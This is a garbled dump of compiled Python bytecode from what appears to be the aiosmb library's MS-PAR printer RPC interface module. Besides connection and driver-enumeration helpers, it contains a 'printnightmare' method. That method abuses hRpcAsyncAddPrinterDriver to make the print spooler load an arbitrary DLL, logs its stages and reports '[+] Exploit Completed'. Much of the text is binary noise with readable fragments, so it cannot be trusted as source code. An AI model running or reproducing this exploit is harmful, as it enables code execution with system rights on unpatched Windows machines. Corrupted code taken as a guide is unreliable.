o
    j                     @   s   d dl Z d dlmZ d dlmZ d dlmZ d dlmZ d dl	m
Z
 d dlmZ d dlmZ d d	lmZ d d
lmZmZmZmZmZmZmZmZ d dlZd dlmZ edddZG dd dZdS )    N)par)logger)
DCERPCAuth)DCERPCTarget)SMBConnection)DCERPC5Connection)NULL)EPM)RPC_C_AUTHN_LEVEL_NONERPC_C_AUTHN_LEVEL_CONNECTRPC_C_AUTHN_LEVEL_CALLRPC_C_AUTHN_LEVEL_PKTRPC_C_AUTHN_LEVEL_PKT_INTEGRITYRPC_C_AUTHN_LEVEL_PKT_PRIVACYDCERPCExceptionRPC_C_AUTHN_GSS_NEGOTIATE)asynccontextmanagerTFc                 C  sR   t j| |||dI d H \}}|r|z|V  W | I d H  d S | I d H  w )N
auth_levelopenperform_dummy)PARRPCfrom_smbconnectionclose)
connectionr   r   r   instanceerr r   /root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/aiosmb/dcerpc/v5/interfaces/parmgr.pyparrpc_from_smb   s   "r   c                   @   s   e Zd Zdd Zdd Zdd Zedd
ededefddZ	edd
e
dedefddZdd ZdddZdddZdeddd	fddZdS ) r   c                 C   s$   d | _ tj| _d | _d| _i | _d S )Nr   )service_pipenamer   MSRPC_UUID_PARservice_uuiddce
handle_ctrprinter_handlesselfr   r   r   __init__#   s
   
zPARRPC.__init__c                    s   | S )Nr   r&   r   r   r   
__aenter__-   s   zPARRPC.__aenter__c                    s   |   I d H  dS NTN)r   )r'   exc_typeexc	tracebackr   r   r   	__aexit__0   s   zPARRPC.__aexit__NTFr   r   r   c              
      s   z?t  }| |_|j| |d u r|jt |j I d H \}}|d ur(||jj|jddI d H \}}|d ur<||d fW S  tyV } z
d|fW  Y d }~S d }~ww )N)z$8A885D04-1CEB-11C9-9FE8-08002B104860z2.0)transfer_syntaxF)r   r#   set_auth_levelr   connectbindr"   	Exception)r   r   r   r   service_r   er   r   r   from_rpcconnection4   s$   
zPARRPC.from_rpcconnectionc              
      s.  zzd|du r	t }t| }| I dH \}}|dur||t jI dH \}}|dur/|tj|| d}t	
| j}	t|	|}
tj|
|||dI dH \}}|durU||dfW W |durf| I dH  S S  ty } zd|fW  Y d}~W |dur| I dH  S S d}~ww |dur| I dH  w w )z
		Creates the connection to the service using an established SMBConnection.
		This connection will use the given SMBConnection as transport layer.
		N)smb_connectionr   )r   r	   r   r2   mapr   r"   r   from_connection_stringr   from_smb_gssapigssapir   r8   
disconnectr4   )r   r   r   r   epmr6   r   	constringtargetdcerpc_authrpc_connectionr5   r7   r   r   r   r   J   s>   


zPARRPC.from_smbconnectionc              
      sd   z| j rz| j  I d H  W W d S    Y W d S W dS  ty1 } z
d |fW  Y d }~S d }~ww r*   )r#   r>   r4   )r'   r7   r   r   r   r   m   s   zPARRPC.close    c                    sJ   |d dkr|d7 }t | j|||I d H \}}|d ur!d |fS |d fS )N )r   hRpcAsyncEnumPrinterDriversr#   )r'   environmentslevelnamedriversr   r   r   r   enum_driversz   s   zPARRPC.enum_driversWindows x64c                    sj   | j |ddI d H \}}|d urd |fS |D ]}tt|jjd }d|v r.|d f  S qd tdfS )NrD   )rJ   z\UNIDRV.DLLFileRepositoryzFailed to obtain driverpath)rM   strpathlibPureWindowsPath
DriverPathparentr4   )r'   rI   rL   r   driverrS   r   r   r   get_driverpath   s   zPARRPC.get_driverpath1234c                    s  zO|d u r| j |dI d H \}}|d urd |fW S |d dkr%|d7 }|d dkr/|d7 }|d dkr9|d7 }|d dkrC|d7 }t }d|d< d|d d< d|d d	 d
< ||d d	 d< ||d d	 d< ||d d	 d< ||d d	 d< d|d d	 d< tjdB dB }	|dd }
tj| j|||	dI d H \}}|d ur||du rtd|d  d|d d	 d< tj| j|||	dI d H \}}|d ur||du rtd|d  t	ddD ]n}zJd||
|d d	 d< tj| j|||	dI d H \}}|d ur||du rtd|d |d  |d dkr+|du r&td W  W d S W q t
yN } z|du rDtd!|d |f  W Y d }~qd }~ww W d"S  t
yq } z|du rct  d |fW  Y d }~S d }~ww )#N)rI   rF   rG   rD   Level
DriverInfotag   Level2cVersionpNamepEnvironmentpDriverPath	pDataFilez C:\Windows\System32\winhttp.dll pConfigFile   i   \)r^   pDriverContainerdwFileCopyFlagsFz[*] Stage 0: {0}	ErrorCodez#C:\Windows\System32\kernelbase.dll z[*] Stage 1: {0}      z4C:\Windows\System32\spool\drivers\x64\3\old\{0}\{1} z[*] Stage {0}: {1}r   z[+] Exploit Completedr+   z[*] Stage %s: %s)FN)rV   r   DRIVER_CONTAINERAPD_COPY_ALL_FILESsplithRpcAsyncAddPrinterDriverr#   printformatranger4   r.   	print_exc)r'   share
driverpathhandlerI   rK   silentr   container_infoflagsfilenamerespir7   r   r   r   printnightmare   s|   






zPARRPC.printnightmareNTF)rD   rE   )rN   )__name__
__module____qualname__r(   r)   r/   staticmethodr   boolr8   r   r   r   rM   rV   r   r{   r   r   r   r   r   "   s    
"

r   r|   )r.   aiosmb.dcerpc.v5r   aiosmbr   1aiosmb.dcerpc.v5.common.connection.authenticationr   )aiosmb.dcerpc.v5.common.connection.targetr   aiosmb.connectionr   aiosmb.dcerpc.v5.connectionr   aiosmb.dcerpc.v5.dtypesr   'aiosmb.dcerpc.v5.interfaces.endpointmgrr	   aiosmb.dcerpc.v5.rpcrtr
   r   r   r   r   r   r   r   rQ   
contextlibr   r   r   r   r   r   r   <module>   s    (	
